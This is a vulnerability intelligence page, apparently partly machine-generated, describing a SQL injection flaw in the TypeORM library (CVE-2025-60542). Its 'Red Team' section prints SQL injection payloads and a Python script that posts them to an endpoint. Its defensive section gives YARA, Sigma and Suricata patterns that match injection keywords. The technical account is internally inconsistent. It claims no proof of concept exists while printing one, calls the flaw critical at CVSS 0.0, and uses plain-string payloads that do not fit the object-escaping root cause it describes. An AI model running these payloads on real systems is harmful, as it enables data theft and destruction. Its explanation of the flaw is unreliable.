☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60542

CVE-2025-60542 SQL Injection in Typeorm
📅 PUBLISHED: 2025-10-29 00:00 UTC 🔄 UPDATED: 2026-09-23 20:40 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix ⏳ CVSS score pending NVD analysis
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60542 is a critical SQL Injection vulnerability in the TypeORM library (versions before 0.3.26). The flaw resides in the repository.save and repository.update methods, where the sqlstring call uses stringifyObjects defaulting to false. This allows an attacker to inject arbitrary SQL via crafted request payloads, potentially leading to data exfiltration, modification, or complete database compromise. No public proof-of-concept or exploit code has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

TypeORM is a widely used Object-Relational Mapping (ORM) library for TypeScript and JavaScript (Node.js). This vulnerability poses a significant supply chain risk:

  • Affected Ecosystem: npm (Node Package Manager)
  • Impact: Any application using TypeORM < 0.3.26 is vulnerable. Attackers can exploit this by sending crafted JSON payloads to endpoints that use save() or update().
  • Mitigation: Immediately update to TypeORM 0.3.26 or later. Review all dependencies for transitive usage of TypeORM.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored by NVD) Threat Level: Critical (based on impact analysis)

Attack Vector (AV): Network (N) – Exploitable remotely. Attack Complexity (AC): Low (L) – No special conditions required. Privileges Required (PR): None (N) – No authentication needed. User Interaction (UI): None (N) – No user action required. Scope (S): Unchanged (U) – Affects only the vulnerable component. Confidentiality (C): High (H) – Full database read access possible. Integrity (I): High (H) – Data can be modified or deleted. Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Deep Dive & Mechanics

The vulnerability exists in TypeORM's internal SQL generation when processing save() and update() operations. The sqlstring library is used to escape values, but the stringifyObjects option defaults to false. When stringifyObjects is false, objects passed as values are not properly escaped, allowing an attacker to inject SQL fragments.

Root Cause:

  • In src/query-builder/InsertQueryBuilder.ts and src/query-builder/UpdateQueryBuilder.ts, the sqlstring call does not set stringifyObjects: true.
  • When an object is passed as a value (e.g., { id: 1, name: "'; DROP TABLE users; --" }), the object is stringified without escaping, leading to SQL injection.

Attack Flow:

  1. Attacker sends a POST/PUT request to an endpoint that uses repository.save() or repository.update().
  2. The request body contains a crafted JSON object with malicious SQL in a string field.
  3. TypeORM generates a SQL query using the unescaped value.
  4. The SQL injection payload executes, allowing the attacker to read, modify, or delete database records.

Vulnerable vs. Patched Code

Vulnerable Code (TypeORM < 0.3.26):

// src/query-builder/InsertQueryBuilder.ts
const sql = sqlstring.format(query, values); // stringifyObjects defaults to false

Patched Code (TypeORM >= 0.3.26):

// src/query-builder/InsertQueryBuilder.ts
const sql = sqlstring.format(query, values, { stringifyObjects: true });

The fix explicitly sets stringifyObjects: true to ensure objects are properly escaped before being inserted into SQL queries.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Node.js application using TypeORM < 0.3.26
  • Endpoint that accepts JSON and calls repository.save() or repository.update()

Exploit Payload:

{
  "username": "admin",
  "password": "'; DROP TABLE users; --"
}

Exploit Script (Python):

import requests

target_url = "http://target.com/api/users"
payload = {
    "username": "test",
    "password": "'; SELECT * FROM users; --"
}

response = requests.post(target_url, json=payload)
print(response.text)

Expected Outcome: The SQL injection executes, potentially returning all user data or dropping tables.

Blue Team (Defensive)

Detection:

  • Monitor for unusual SQL errors in application logs (e.g., "syntax error", "unexpected end of SQL command").
  • Look for requests containing SQL keywords (SELECT, DROP, UNION, --) in JSON fields.
  • Use WAF rules to block requests with SQL injection patterns.

Honeypot:

  • Deploy a fake endpoint using TypeORM with a vulnerable version to capture attacker payloads.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests with JSON bodies containing SQL keywords (e.g., ' OR '1'='1, '; DROP TABLE)
  • Unusual SQL error messages in HTTP responses (e.g., ER_PARSE_ERROR, syntax error)

Log IOCs:

  • Application logs showing SQL syntax errors from save() or update() operations.
  • Database logs showing unexpected queries with injected SQL.

File IOCs:

  • Presence of TypeORM version < 0.3.26 in package.json or node_modules/typeorm/package.json.

Detection Engineering

YARA Rule

rule CVE_2025_60542_TypeORM_SQLi {
    meta:
        description = "Detects TypeORM SQL injection attempts via crafted JSON payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60542"
    strings:
        $sql_keywords = /('|\")\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)\s*/i
        $json_pattern = /"password"\s*:\s*"[^"]*('|\")\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-60542 TypeORM SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects HTTP requests with SQL injection patterns in JSON fields targeting TypeORM save/update endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: ['POST', 'PUT', 'PATCH']
        http.url|contains: ['/api/', '/save', '/update']
        http.body|contains|all:
            - 'password'
            - "' OR '"
            - "' AND '"
            - "' UNION "
            - "' --"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-SQL contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60542 TypeORM SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/"; http_uri; content:"password"; http_client_body; pcre:"/('|\")\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade TypeORM to version 0.3.26 or later.
  2. Validate Input: Implement strict input validation on all JSON fields before passing to ORM methods.
  3. Use Parameterized Queries: Ensure all database queries use parameterized statements (TypeORM's find() and query() methods are safe).

Long-term Measures:

  • Dependency Scanning: Use tools like npm audit, Snyk, or OWASP Dependency-Check to detect vulnerable versions.
  • WAF Rules: Deploy Web Application Firewall rules to block SQL injection patterns.
  • Code Review: Review all code paths that use save() or update() with user-supplied data.

Patch Verification:

# Check current version
npm list typeorm

# Update to patched version
npm install typeorm@0.3.26

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-60542

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60542/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.